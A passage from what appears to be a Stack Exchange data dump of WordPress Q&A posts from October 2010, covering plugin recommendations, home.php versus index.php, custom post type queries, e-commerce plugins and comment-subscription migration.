If it's being run on multiple page loads (i.e. for a sidebar widget shared across the network) then you only want to run the query when there's new data to get.  Otherwise, serve up the cached results so you don't slow down the network.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-05T14:20:32.180" CommentCount="2" />
  <row Id="2591" PostTypeId="1" CreationDate="2010-10-05T15:00:24.477" Score="1" ViewCount="81" Body="&lt;p&gt;Hello what free plugins are for hosting auctions on your site.&#xA;I saw wp-auction but i want the auction to be embedded in a page.&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-05T15:25:17.263" LastActivityDate="2010-10-05T18:13:33.860" Title="Plugin to host auctions on your site" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2592" PostTypeId="1" AcceptedAnswerId="2600" CreationDate="2010-10-05T15:59:23.040" Score="0" ViewCount="168" Body="&lt;p&gt;Is there any plugin which can automatically combine all the javascript and css files that are used on a page? While I can combine them manually I would like to avoid them as some plugins add their scripts and css. Also different scripts might be needed on different pages so I do not want to have one large script on every page. I am not looking for gzipping, minifing or cache-control as I already have them implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1133" LastActivityDate="2010-10-06T13:34:19.290" Title="Combining multiple javascript and css files" Tags="&lt;performance&gt;&lt;javascript&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="2593" PostTypeId="1" AcceptedAnswerId="2608" CreationDate="2010-10-05T16:01:18.433" Score="2" ViewCount="132" Body="&lt;p&gt;I have 3 different custom post types: 1.) &lt;code&gt;&quot;events&quot;&lt;/code&gt;, 2.) &lt;code&gt;&quot;winners&quot;&lt;/code&gt; and 3.) &lt;code&gt;&quot;offers&quot;&lt;/code&gt;. How would I go about retrieving the first (latest) post in each of these post types on a single web page (i.e a home page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I use &lt;code&gt;get_posts()&lt;/code&gt; or would I have to manipulate &lt;code&gt;the_loop()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-06T08:43:37.227" LastActivityDate="2010-10-06T08:43:37.227" Title="Show the First Post from Each of 3 Different Post Types on a Web Page?" Tags="&lt;custom-post-types&gt;&lt;get-posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2594" PostTypeId="1" AcceptedAnswerId="2595" CreationDate="2010-10-05T16:03:17.993" Score="2" ViewCount="815" Body="&lt;p&gt;If I create a home.php file, it seems that WP will use that instead of index.php, so index.php is never used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences between these two template files (located in the theme folder)?&#xA;Do they both behave the same way, the only difference being the priority of home.php?&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-05T16:45:04.360" LastActivityDate="2010-10-05T18:10:24.100" Title="What's the difference between home.php and index.php?" Tags="&lt;theme-development&gt;&lt;template&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2595" PostTypeId="2" ParentId="2594" CreationDate="2010-10-05T16:13:05.433" Score="5" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt; is universal template, it is what any page (home, archive, single post, etc) will use if no other template is available for it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;home.php&lt;/code&gt; is a template used for &lt;em&gt;main page&lt;/em&gt; (on &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#The_Main_Page&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_home()&lt;/code&gt;&lt;/a&gt;) condition.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; for detailed scheme of how templates are applied.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-05T16:13:05.433" />
  <row Id="2596" PostTypeId="2" ParentId="2044" CreationDate="2010-10-05T16:15:57.787" Score="4" ViewCount="" Body="&lt;p&gt;It looks like this is now a standard feature on Wordpress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/offsite-redirect/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/offsite-redirect/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-05T16:15:57.787" CommentCount="1" />
  <row Id="2597" PostTypeId="2" ParentId="1767" CreationDate="2010-10-05T16:35:07.217" Score="1" ViewCount="" Body="&lt;p&gt;I wrote my own Liveblogging platform, which turned out to be very simple to do indeed. Sadly, it's not ready for release yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, all you need is a page with a form which writes to a database. Now; liveblogs tend to get hammered, so I created a page which used my templates as a flat file (so no database calls). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I updated the liveblog with another entry, it wrote it to a flat file, and it showed the flat file to the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather simple, but brutally fast. Stood up to very high traffic on &lt;a href=&quot;http://t3.com&quot; rel=&quot;nofollow&quot;&gt;a small tech site you may have heard of&lt;/a&gt;. &lt;/p&gt;&#xA;" LastActivityDate="2010-10-05T16:35:07.217" CommunityOwnedDate="2010-10-05T16:35:07.217" CommentCount="1" />
  <row Id="2599" PostTypeId="2" ParentId="2578" CreationDate="2010-10-05T16:50:54.750" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to create a page template with the following code. Also you will need to decide if you will use a tag or category. The code below assumes you are using a category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;news&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;  //The Query&#xA;  wp_query('showposts=5&amp;amp;category_name=News');&#xA;&#xA;  //The Loop&#xA;  if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;  ?&amp;gt; &#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;post_content&quot;&amp;gt;&#xA;         &amp;lt;?php the_excerpt(); ?&amp;gt;    &#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?&#xA;  endwhile; &#xA;  endif;&#xA;&#xA;  //Reset Query&#xA;  wp_reset_query();&#xA;&#xA;  ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;events&quot;&amp;gt;&#xA;  &amp;lt;?php &#xA;    //The Query&#xA;    wp_query('showposts=5&amp;amp;category_name=Events');&#xA;&#xA;    //The Loop&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;    ?&amp;gt; &#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;post_content&quot;&amp;gt;&#xA;             &amp;lt;?php the_excerpt(); ?&amp;gt;    &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?&#xA;    endwhile; &#xA;    endif;&#xA;&#xA;    //Reset Query&#xA;    wp_reset_query();&#xA;  ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditorDisplayName="" LastEditDate="2010-10-07T19:25:13.930" LastActivityDate="2010-10-07T19:25:13.930" CommentCount="5" />
  <row Id="2600" PostTypeId="2" ParentId="2592" CreationDate="2010-10-05T17:45:50.367" Score="5" ViewCount="" Body="&lt;p&gt;W3 Cache will do this for you&lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-10-05T17:45:50.367" CommentCount="2" />
  <row Id="2601" PostTypeId="2" ParentId="2594" CreationDate="2010-10-05T18:10:24.100" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;home.php&lt;/code&gt; is what your site will use for whatever page you set be the &quot;Posts Page&quot; under the reading options in wp-admin. If you set a static page to the front page, you would use &lt;code&gt;front-page.php&lt;/code&gt; if you wanted it to be styled specially.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-10-05T18:10:24.100" />
  <row Id="2602" PostTypeId="2" ParentId="2591" CreationDate="2010-10-05T18:13:33.860" Score="2" ViewCount="" Body="&lt;p&gt;&lt;em&gt;@solomongaby&lt;/em&gt; Please take the time to read the documentation for a plug-in before discounting it as useful.  From the &lt;a href=&quot;http://www.wpauctions.com/documentation/&quot; rel=&quot;nofollow&quot;&gt;WP Auction documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;How do I place an Auction in a Post/Page?&lt;/h3&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;First, you need to add your auction.&lt;/li&gt;&#xA;  &lt;li&gt;Set the “Show auction in AJAX Popup?:” to No and enter the URL of&#xA;  your Post or Page. Remember, your Post&#xA;  or Page has to be published already.&lt;/li&gt;&#xA;  &lt;li&gt;You can then embed the auction in your Post or Page by using the custom&#xA;  panel that shows all your live&#xA;  auctions in a drop down.&lt;/li&gt;&#xA;  &lt;li&gt;Alternatively, you can add as many auctions as you like and embed them in&#xA;  your Post or Page using the custom&#xA;  panel.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-05T18:13:33.860" CommentCount="2" />
  <row Id="2603" PostTypeId="1" CreationDate="2010-10-05T18:18:10.190" Score="5" ViewCount="1062" Body="&lt;p&gt;I've been looking around for ecommerce functionality for a project that I'm going to be working on. My partner and I will be converting an existing static catalog site with lots of items. We want to do it in Wordpress because it's a basic CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the items are variations of other items, some items will have multiple variations. I guess the best example would be let's say a shoe...it has different sizes and different colors. But they don't stock every combination of variations. This is very typical of a store right. They have carry sizes 7, 9, 11 and the 11's only come in green/blue and red/yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a solution that will allow me to specify these variations easily so that I basically don't have to enter each variation as a new product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking around the web and on forums like Stackoverflow, WP e-commerce and Shopp seem to be the two standouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have people's experience been with these two products? What are the pros/cons? Which one would you recommend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Followup&lt;/strong&gt;&#xA;When would one move away from a Wordpress plugin to something like Magento or OS Commerce?  What do those packages have that the plugins do not? I had a cursory view of Magento and OS Commerce and they seemed really complicated...lots and lots of options.&lt;/p&gt;&#xA;" OwnerUserId="448" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:17:33.220" LastActivityDate="2011-07-10T18:44:42.007" Title="Pros/Cons of “WP e-commerce” and “Shopp” plugins" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" AnswerCount="7" FavoriteCount="1" />
  <row Id="2604" PostTypeId="1" AcceptedAnswerId="2606" CreationDate="2010-10-05T18:50:46.967" Score="1" ViewCount="215" Body="&lt;p&gt;I've created a custom post type and custom taxonomy. I can now create a new post and associate it with a custom category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is listing these news post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'sobeedesce' ) );&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;  the_title();&#xA;  echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;endwhile;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lists all custom posts ok. But I want to list them by category, so adding &lt;code&gt;'cat' =&amp;gt; 12&lt;/code&gt; returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know my custom category id is &lt;code&gt;12&lt;/code&gt; and I can confirm that by doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_terms = get_the_terms(0, 'cat_sd');&#xA;print_r($loop);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm missing something here. Can someone help me?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1102" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-06T07:21:59.177" LastActivityDate="2010-10-06T07:21:59.177" Title="List Posts of a Custom Post Types Ordered by Terms of a Custom Taxonomy?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="2605" PostTypeId="1" AcceptedAnswerId="2703" CreationDate="2010-10-05T18:59:28.063" Score="3" ViewCount="302" Body="&lt;p&gt;I have a &lt;a href=&quot;http://tomlev2.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;blog about programming&lt;/a&gt; hosted on WordPress.com. To post code snippets I use the &lt;a href=&quot;http://alexgorbatchev.com/SyntaxHighlighter/&quot; rel=&quot;nofollow&quot;&gt;SyntaxHighlighter&lt;/a&gt; plugin that is installed on that platform, and I'm very happy with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to use Windows Live Writer to write my articles, because it's much more convenient than the web-based editor. I found many WLW plugins to post code snippets, but it would take ages to try them all... also, most of them seem to do their own formatting, or need custom CSS (which I'd prefer to avoid because it's not free). Ideally, I'd like to be able to continue using the SyntaxHighlighter WP plugin mentioned above, which allows me to simply paste code between &lt;code&gt;[sourcecode]&lt;/code&gt; tags, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[sourcecode language=&quot;csharp&quot;]&#xA;public class SimpleGrid : Grid&#xA;{&#xA;    public IList&amp;lt;GridLength&amp;gt; Rows { get; set; }&#xA;    public IList&amp;lt;GridLength&amp;gt; Columns { get; set; }&#xA;}&#xA;[/sourcecode]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which WLW plugins would you recommend ? Is there one that can produce the markup shown in the snippet above ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;a href=&quot;http://richhewlett.com/wlwsourcecodeplugin/&quot; rel=&quot;nofollow&quot;&gt;This one&lt;/a&gt; does exactly what I want, thanks to jjeaton for the link !&lt;/p&gt;&#xA;" OwnerUserId="1155" LastEditorUserId="1155" LastEditorDisplayName="" LastEditDate="2010-10-09T00:47:21.100" LastActivityDate="2010-10-09T00:47:21.100" Title="Best Live Writer plugins to post code snippets on WordPress?" Tags="&lt;windows-live-writer&gt;&lt;syntax-highlighting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2606" PostTypeId="2" ParentId="2604" CreationDate="2010-10-05T19:04:51.817" Score="2" ViewCount="" Body="&lt;p&gt;I suppose your custom taxonomy slug is 'cat_sd', right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, the right query would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'sobeedesce', 'cat_sd' =&amp;gt; 12 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-05T19:04:51.817" CommentCount="1" />
  <row Id="2607" PostTypeId="2" ParentId="2603" CreationDate="2010-10-05T19:14:10.547" Score="1" ViewCount="" Body="&lt;p&gt;I can't claim to know much about Shopp (it seems good, but it's not free). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a site with WP e-Commerce at the beginning of 2010 and it was not too hard. I used the SimpleCart theme as a basis for my design - &lt;a href=&quot;http://upthemes.com/themes/simplecart/&quot; rel=&quot;nofollow&quot;&gt;http://upthemes.com/themes/simplecart/&lt;/a&gt; (it was free when I used it.. I see it's not free anymore...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Variations were easy to implement, but I only used one type of variation (in my case necklaces and bracelets... the variations were different lengths). You mention two variations in your shoe example (color and size). I guess the way around this is that you would have to create a different product for each color shoe (Red Air Max, Blue Air Max etc) and then, say, for Red Air Max you would select the different checkboxes for the sizes available (7, 9 etc) in the back-end. (you can set diff prices for each size too, or use one price for all)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the downside, the forums were not too helpful ... most of my questions received no answers. It might have improved since I set up the site.&lt;/p&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-10-05T19:14:10.547" />
  <row Id="2608" PostTypeId="2" ParentId="2593" CreationDate="2010-10-05T19:23:16.513" Score="2" ViewCount="" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts&lt;/a&gt; is the safest way to use multiple loops. It does not mess up with the original query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to create new WP_Query objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query($args);&#xA;while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts&quot;&gt;Why you should not use query_posts()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-05T19:30:19.493" LastActivityDate="2010-10-05T19:30:19.493" CommentCount="3" />
  <row Id="2609" PostTypeId="2" ParentId="2603" CreationDate="2010-10-05T19:35:32.397" Score="0" ViewCount="" Body="&lt;p&gt;I am using WP Ecommerce for the first time and having a blast with it. I created my own theme which is still in the works. My PHP is average but using what I know along with jQuery and CSS, the sky is the limit with this plugin. I also bought the gold cart edition. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses global variation settings so no worries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Support is fantastic as I have gotten prompt responses from both the plugin developers and forum members. &lt;a href=&quot;http://www.janttidesigns.com/demo/&quot; rel=&quot;nofollow&quot;&gt;Here is a link&lt;/a&gt; to what I've done so far. Best when viewed in anything but IE as I use CSS3.&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-05T19:35:32.397" />
  <row Id="2610" PostTypeId="1" AcceptedAnswerId="2611" CreationDate="2010-10-05T19:36:08.047" Score="1" ViewCount="84" Body="&lt;p&gt;Does wordpress.com support multiple languages at the same time?  I know it does support changing the main language, but I can't find anything about how one would go about setting up multiple languages at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:46:05.847" LastActivityDate="2010-10-06T03:46:05.847" Title="Blog in multiple languages on WordPress.com?" Tags="&lt;wordpress.com&gt;&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="2611" PostTypeId="2" ParentId="2610" CreationDate="2010-10-05T19:45:29.020" Score="2" ViewCount="" Body="&lt;p&gt;No, wordpress.com does not support multilanguage blogs. The solution would be to make one blog per language and link them via the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://en.forums.wordpress.com/topic/multi-language-blog-on-wordpresscom&quot; rel=&quot;nofollow&quot;&gt;Multi-language blog on wordpress.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-05T19:45:29.020" />
  <row Id="2612" PostTypeId="1" AcceptedAnswerId="2629" CreationDate="2010-10-05T19:47:07.743" Score="2" ViewCount="201" Body="&lt;p&gt;I'd like to display a checkbox with the option to subscribe to the site by email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a wordpress blog with the following label next to the said checkbox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subscribe by email to this site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that i cannot see to find the plugin that displays it: i've tried Subscribe2 and Post Notification and Gurken for comment subscriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you perhaps know what plugin i need to install?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2010-10-06T20:23:00.550" Title="New post email alert" Tags="&lt;subscription&gt;&lt;notifications&gt;" AnswerCount="4" />
  <row Id="2613" PostTypeId="2" ParentId="2612" CreationDate="2010-10-05T19:59:26.887" Score="0" ViewCount="" Body="&lt;p&gt;I've used Notifly with some success&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-05T19:59:26.887" CommentCount="1" />
  <row Id="2614" PostTypeId="1" CreationDate="2010-10-05T20:03:55.933" Score="0" ViewCount="524" Body="&lt;p&gt;I need to rewrite some URLs to custom templates. For example, I have a page at domain.com/page, and when a user clicks 'remove' on an element, it goes to domain.com/page/?remove=54. I'd like it to rewrite to domain.com/page/remove/54.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appreciated, thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2011-01-06T10:30:54.057" Title="Custom URL rewrites for templates" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="2615" PostTypeId="1" AcceptedAnswerId="2618" CreationDate="2010-10-05T20:19:48.970" Score="2" ViewCount="242" Body="&lt;p&gt;How can I make a list of links of all the taxonomy terms I'm using? For example, I have a taxonomy of Manufacturers with terms of Honda, Ford, etc. I want to list out those terms as links. &lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-05T21:04:13.900" Title="List taxonomy terms as links" Tags="&lt;taxonomy&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="2616" PostTypeId="1" AcceptedAnswerId="2617" CreationDate="2010-10-05T20:50:50.180" Score="1" ViewCount="75" Body="&lt;p&gt;Mark Jaquith's &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe-to-comments/&quot; rel=&quot;nofollow&quot;&gt;Subscribe to Comments plugin&lt;/a&gt; has been a staple of my WordPress site since shortly after I launched it. However, it's not really maintained any more (last updated end of 2007) and it lacks some options (email verification, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://profiles.wordpress.org/users/infogurke/&quot; rel=&quot;nofollow&quot;&gt;infogurke&lt;/a&gt; extended Mark's plugin and released &lt;a href=&quot;http://wordpress.org/extend/plugins/gurken-subscribe-to-comments/&quot; rel=&quot;nofollow&quot;&gt;a different version&lt;/a&gt; with enhancements:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;All of the original Subscribe to Comments&lt;/li&gt;&#xA;  &lt;li&gt;Registration with Double-Opt-In&lt;/li&gt;&#xA;  &lt;li&gt;Multi-Language (English and German included)&lt;/li&gt;&#xA;  &lt;li&gt;You can define an own css file for the manager interface&lt;/li&gt;&#xA;  &lt;li&gt;Fixed many bugs that are still in the original plugin&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is it possible to migrate to infogurke's version and maintain the subscriptions in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Found the new plugin via &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2409/plugin-from-wordpress-com-for-comment-notification-available&quot;&gt;this question&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditorDisplayName="" LastEditDate="2010-10-05T20:58:56.503" LastActivityDate="2010-10-05T20:58:56.503" Title="How to migrate from Mark Jaquith's Subscribe to Comments plugin to Gurken's new version?" Tags="&lt;plugins&gt;&lt;updates&gt;&lt;migration&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2617" PostTypeId="2" ParentId="2616" CreationDate="2010-10-05T20:54:39.560" Score="1" ViewCount="" Body="&lt;p&gt;Yes, it's possible (and quite easy) to migrate from Mark Jaquith's Subscribe to Comments plugin to Gurken Subscribe to Comments plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Gurken Subscribe to Comments (using either FTP or WordPress's plugin manager)&lt;/li&gt;&#xA;&lt;li&gt;Don't activate Gurken StC yet. First deactivate Mark Jaquith's version.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Activating the new plugin too soon will fail because both plugins define functions with the same names.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Activate Gurken StC.&lt;/li&gt;&#xA;&lt;li&gt;Go in via FTP and delete the &lt;code&gt;/wp-content/plugins/subscribe-to-comments/&lt;/code&gt; folder.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Don't use WordPress to delete Mark's version!&lt;/strong&gt; It might erase your subscription data from the database!&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Question and answer inspired by &lt;a href=&quot;http://wordpress.org/support/topic/plugin-gurken-subscribe-to-comments-migrate-from-mark-jaquiths-plugin&quot; rel=&quot;nofollow&quot;&gt;this WordPress Support thread&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-10-05T20:54:39.560" CommentCount="3" />
  <row Id="2618" PostTypeId="2" ParentId="2615" CreationDate="2010-10-05T20:58:56.917" Score="4" ViewCount="" Body="&lt;p&gt;My apologies. After some more searching, I found that I could pass the taxonomy as an argument in wp_list_categories. &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories#Display_Terms_in_a_custom_taxonomy&quot; rel=&quot;nofollow&quot;&gt;Here is the info&lt;/a&gt; via Wordpress Codex. &lt;/p&gt;&#xA;" OwnerUserId="1136" LastEditorUserId="1136" LastEditorDisplayName="" LastEditDate="2010-10-05T21:04:13.900" LastActivityDate="2010-10-05T21:04:13.900" />
  <row Id="2619" PostTypeId="2" ParentId="288" CreationDate="2010-10-05T22:05:57.883" Score="2" ViewCount="" Body="&lt;p&gt;The most important thing you can do is create a local Wordpress install that you can play around with. (Instructions for: &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress_Locally_on_Your_Mac_With_MAMP&quot; rel=&quot;nofollow&quot;&gt;Mac&lt;/a&gt; | &lt;a href=&quot;http://www.microsoft.com/web/gallery/wordpress.aspx&quot; rel=&quot;nofollow&quot;&gt;Windows&lt;/a&gt; | &lt;a href=&quot;http://www.techtickle.com/install-wordpress-locally-on-ubuntu-linux-with-lamp.html&quot; rel=&quot;nofollow&quot;&gt;Linux&lt;/a&gt;) This will allow you to experiment and make mistakes without the rest of the world watching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way to learn is by modifying existing themes and creating child themes for the various &lt;a href=&quot;http://codex.wordpress.org/Theme_Frameworks&quot; rel=&quot;nofollow&quot;&gt;frameworks&lt;/a&gt;. Of those, my personal favorite is &lt;a href=&quot;http://themeshaper.com/&quot; rel=&quot;nofollow&quot;&gt;Thematic&lt;/a&gt;. It's very difficult to start from scratch, so these resources can help you hit the ground running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn CSS, &lt;a href=&quot;http://www.w3schools.com/css/default.asp&quot; rel=&quot;nofollow&quot;&gt;w3schools.com&lt;/a&gt; is &lt;strong&gt;the&lt;/strong&gt; resource. For many designers, &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; is an indispensable tool. Don't leave home without it!&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2010-10-05T22:05:57.883" CommunityOwnedDate="2010-10-05T22:05:57.883" />
  <row Id="2621" PostTypeId="1" AcceptedAnswerId="2631" CreationDate="2010-10-05T22:53:44.517" Score="4" ViewCount="173" Body="&lt;p&gt;Is there a plugin similar to the &lt;a href=&quot;http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/&quot; rel=&quot;nofollow&quot;&gt;Google Sitemap&lt;/a&gt; plugin that works for a mutli-site install?&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditorDisplayName="" LastEditDate="2010-10-06T03:30:37.710" LastActivityDate="2010-10-06T07:12:37.983" Title="Sitemap Plugin for WordPress Network" Tags="&lt;multisite&gt;" AnswerCount="1" />
